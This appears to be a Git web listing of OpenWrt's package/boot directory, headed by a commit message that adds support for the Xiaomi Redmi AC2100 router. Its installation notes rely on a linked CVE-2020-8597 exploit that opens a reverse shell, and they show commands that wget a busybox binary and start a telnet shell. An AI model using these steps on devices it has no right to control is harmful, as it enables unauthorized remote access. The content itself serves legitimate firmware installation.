openwrt/package/boot
Richard Huynh f3792690c4 ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100)
Specification:
- CPU: MediaTek MT7621A
- RAM: 128 MB DDR3
- FLASH: 128 MB ESMT NAND
- WIFI: 2x2 802.11bgn (MT7603)
- WIFI: 4x4 802.11ac (MT7615)
- ETH: 3xLAN+1xWAN 1000base-T
- LED: Power, WAN, in Amber and White
- UART: On board near ethernet, opposite side from power
- Modified u-boot

Installation:

1. Run linked exploit to get shell, startup telnet and wget the files over
2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1
3. nvram set uart_en=1
4. nvram set bootdelay=5
5. nvram set flag_try_sys1_failed=1
6. nvram commit
7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0

Restore to stock:

1. Setup PXE and TFTP server serving stock firmware image
(See dhcp-boot option of dnsmasq)
2. Hold reset button down before powering on and wait for flashing amber led
3. Release reset button
4. Wait until status led changes from flashing amber to white

Notes:
This device has dual kernel and rootfs slots like other Xiaomi devices currently
supported (mir3g, etc.) thus, we use the second slot and overwrite the first
rootfs onwards in order to get more space.

Exploit and detailed instructions:

https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100

An implementation of CVE-2020-8597 against stock firmware version 1.0.14

This requires a computer with ethernet plugged into the wan port and an active
PPPoE session, and if successful will open a reverse shell to 192.168.31.177
on port 31337.

As this shell is somewhat unreliable and likely to be killed in a random amount
of time, it is recommended to wget a static compiled busybox binary onto the
device and start telnetd with it.

The stock telnetd and dropbear unfortunately appear inoperable.
(Disabled on release versions of stock firmware likely)
Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox
chmod a+x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh

Tested-by: David Martinez <bonkilla@gmail.com>
Signed-off-by: Richard Huynh <voxlympha@gmail.com>
2020-05-20 15:26:22 +02:00
..
arm-trusted-firmware-mvebu packages/boot: bump arm-trusted-firmware-mvebu version 2020-02-22 18:21:37 +01:00
arm-trusted-firmware-rockchip arm-trusted-firmware-rockchip: add new package 2020-04-20 16:37:56 +02:00
arm-trusted-firmware-sunxi arm-trusted-firmware-sunxi: Replace with official ARM version 2019-01-13 17:35:14 +01:00
at91bootstrap at91bootstrap: add sama5d27_som1_eksd1_uboot as default defconfig 2019-08-17 23:08:44 +02:00
fconfig fconfig: cleanup Makefile 2019-04-06 19:14:06 +02:00
grub2 grub2: fix build when ASLR enabled 2020-04-02 13:42:26 +01:00
imx-bootlets treewide: clean up download hashes 2016-12-16 22:39:22 +01:00
kexec-tools x86: make crashdump works 2020-03-20 21:45:06 +00:00
kobs-ng kobs-ng: add header for integer definitions 2017-11-16 22:56:54 +01:00
rbcfg rbcfg: Add missing mode to open call 2020-04-18 21:06:45 +02:00
tfa-layerscape layerscape: update tfa to LSDK-20.04 2020-05-07 12:53:06 +02:00
uboot-ar71xx uboot-ar71xx: fix musl host build 2019-01-22 13:29:46 +01:00
uboot-at91 uboot-at91: fix -Wformat-security 2019-08-17 23:08:10 +02:00
uboot-envtools ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100) 2020-05-20 15:26:22 +02:00
uboot-fritz4040 ipq40xx: add support for AVM FRITZ!Repeater 1200 2019-10-23 01:17:28 +02:00
uboot-imx6 uboot-imx6: bump to 2020.04 release 2020-04-17 13:43:34 +02:00
uboot-kirkwood uboot-kirkwood: update to 2020.04 2020-04-20 16:37:56 +02:00
uboot-lantiq uboot-lantiq: fix compile with modern host dtc 2018-10-07 02:12:06 +02:00
uboot-layerscape layerscape: update u-boot to LSDK-20.04 2020-05-07 12:53:06 +02:00
uboot-mediatek mediatek: add uboot 2020-05-04 16:31:19 +02:00
uboot-mvebu mvebu: uDPU: switch default kernel and U-Boot PHY mode 2020-05-09 14:34:23 +02:00
uboot-mxs uboot-mxs: bump to v2020.01 2020-03-08 15:10:55 +01:00
uboot-omap omap: support booting off different mmc devices 2019-11-20 10:46:19 +01:00
uboot-oxnas uboot-oxnas: fix memory leak in tool mkox820crc 2020-01-15 23:15:19 +01:00
uboot-rockchip uboot-rockchip: fix ident string 2020-04-20 16:44:17 +02:00
uboot-sunxi uboot-sunxi: bump to 2020.04 relase 2020-04-17 13:43:34 +02:00
uboot-tegra tegra: add vendor string to device name 2019-05-15 13:34:23 +02:00
uboot-zynq uboot-zynq: update to 2019.07 2019-09-01 18:38:05 +02:00